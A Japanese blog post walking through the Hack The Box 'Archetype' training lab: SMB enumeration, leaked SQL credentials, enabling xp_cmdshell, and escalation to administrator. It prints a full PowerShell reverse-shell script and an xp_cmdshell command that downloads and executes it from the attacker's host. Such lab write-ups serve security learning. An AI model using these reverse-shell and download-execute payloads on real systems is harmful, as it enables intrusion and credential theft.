LoginSignup
15
9

More than 3 years have passed since last update.

【Hack The Box】Starting Point(Archetype)

Posted at

はじめに

Hack The BoxのStarting Point(Archetype)について解説します。

Starting Pointはチュートリアルなのでflagを得るまでの手順が示されているのですが、自分は少し詰まったところがあったので、それらも加えた手順を示したいと思います。

こちらのYoutubeの解説を参考にさせて頂きました。

VPNの設定

まず、こちらから.ovpnファイルをダウンロードしましょう。

以下を実行します。

kali@kali:~$ sudo openvpn username-startingpoint.ovpn

nmapでポートスキャン

kali@kali:~$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
kali@kali:~$ nmap -sC -sV -p$ports 10.10.10.27
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 21:48 EDT
Nmap scan report for 10.10.10.27
Host is up (0.28s latency).

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 c
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-info: 
|   10.10.10.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00

ポート445と1433が開いていて、それぞれファイル共有サーバ(smb)とSQLサーバが動いていることがわかります。

ディレクトリ探索

smbサーバと対話できるsmbclientを使用して、パスワードなどの機密情報を探します。

kali@kali:~$ smbclient -N -L \\\\10.10.10.27\\
       Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backups         Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC

backupsをのぞいてみます。

kali@kali:~$ smbclient -N \\\\10.10.10.27\\backups
smb: \> dir
.                                   D        0  Mon Jan 20 07:20:57 2020
  ..                                  D        0  Mon Jan 20 07:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 07:23:02 2020

smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)

prod.dtsConfigが得られました。中身を見ます。
dtsConfigファイルはSQL Server Integration Services(SSIS)で使用される設定ファイルらしいです。

kali@kali:~$ cat prod.dtsConfig
<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

下から3行目にSQLサーバに接続するための、ユーザーARCHETYPE\sql_svcのパスワードM3g4c0rp123が含まれていることがわかります。

SQLサーバに接続

SQLサーバに接続するために、impacketmssqlclient.pyを使用します。
まず、impacketを使用可能にします。

kali@kali:~$ git clone https://github.com/SecureAuthCorp/impacket.git
kali@kali:~$ cd impacket
kali@kali:~/impacket$ pip install .

ユーザー認証に先ほど取得したパスワードM3g4c0rp123を使用します。

kali@kali:~$ mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL> SELECT IS_SRVROLEMEMBER('sysadmin')


-----------   

          1 

現在のユーザーがsysadmin権限(最も高い権限)を持っているか確認すると、現在のユーザーはsysadmin権限を持っていることがわかります。

これにより、xp_cmdshellを使用することが可能です。
xp_cmdshellはSQLコマンドを介して、Windowsのシェルでコマンドを実行できるものです。

xp_cmdshellを使用可能にします。

SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
SQL> sp_configure;
SQL> EXEC sp_configure 'xp_cmdshell', 1
SQL> reconfigure;
SQL> xp_cmdshell "whoami" 
output                                                                             

--------------------------------------------------------------------------------   

archetype\sql_svc                                                                  

NULL

whoamiの実行結果からこのアカウントにはWindowsシステムにおける管理者権限はないことがわかります。

管理者権限のあるシェルを取得するために、以下のスクリプトを作成し、shell.ps1という名前で保存します。
10.10.14.3の部分は自身のIPアドレスに書き換えましょう。
IPアドレスはhostname -Iなどで確認できます。

 $client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 

そして、ポート80でwebサーバを立ち上げます。

kali@kali:~$ sudo python3 -m http.server 80 

また、ポート433でnetcat listenerを立ち上げます。

kali@kali:~$ sudo nc -lvnp 443

また、ufwを使用して、対象のマシンから自分のマシンへのポート80と443での接続を許可します。

kali@kali:~$ sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443 

次に、xp_cmdshellを使用して、シェルをダウンロードして実行するコマンドを実行します。
10.10.14.3の部分は自身のIPアドレスに書き換えましょう。

SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");" 

シェル取得後

正常に先ほどのxp_cmdshellコマンドが実行できていると、netcat listenerを立ち上げているコマンドラインでシェルを実行することができます。

ちなみに、自分はこれに気づかず詰まっていました。

kali@kali:~$ sudo nc -lvnp 443
[sudo] password for kali: 
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.27] 49680

# dir
...
-a----        9/15/2018  12:09 AM          68096 xmlfilter.dll                                                         
-a----        9/15/2018  12:09 AM         231368 xmllite.dll                                                           
-a----        9/15/2018  12:09 AM          64000 xolehlp.dll 
# cd C:\\Users
# dir

    Directory: C:\Users


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        1/19/2020  10:39 PM                Administrator                                                         
d-r---        1/19/2020  10:39 PM                Public                                                                
d-----        1/20/2020   5:01 AM                sql_svc   

sql_svcDesktopからuser.txtが取得できます。

# ls sql_svc/Desktop
Directory: C:\Users\sql_svc\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        2/25/2020   6:37 AM             32 user.txt

次に、頻繁にアクセスされているPowerShellの履歴ファイルを参照します。

# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!

backupsフォルダの管理者アカウントのパスワードMEGACORP_4dm1n!!を取得できました。

impacketpsexec.pyを使用して、管理者権限のあるシェルを取得します。

kali@kali:~$ psexec.py administrator@10.10.10.27
Impacket v0.9.22.dev1+20200813.221956.1c893884 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file swacejRN.exe

これでいけるな...と思っていたら、Uploading file ...でフリーズしました。
原因を調査していたところ、forumで同じ状況に陥っている人を発見しました。
wmiexec.pyを使ったらできたと書いてあったので、それを使ってみます。

kali@kali:~$ wmiexec.py administrator@10.10.10.27
Password:
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\> whoami
archetype\administrator

管理者権限のあるシェルが取得できました。

C:\> cd Users/Administrator/Desktop
C:\Users\Administrator\Desktop> dir
01/20/2020  06:42 AM    <DIR>          .
01/20/2020  06:42 AM    <DIR>          ..
02/25/2020  07:36 AM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  33,826,910,208 bytes free

root.txt が取得できました。

終わりに

以上、Hack The BoxのStarting Point Archetypeについて解説しました。
チュートリアルですが、学びが深かったです。

15
9
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
15
9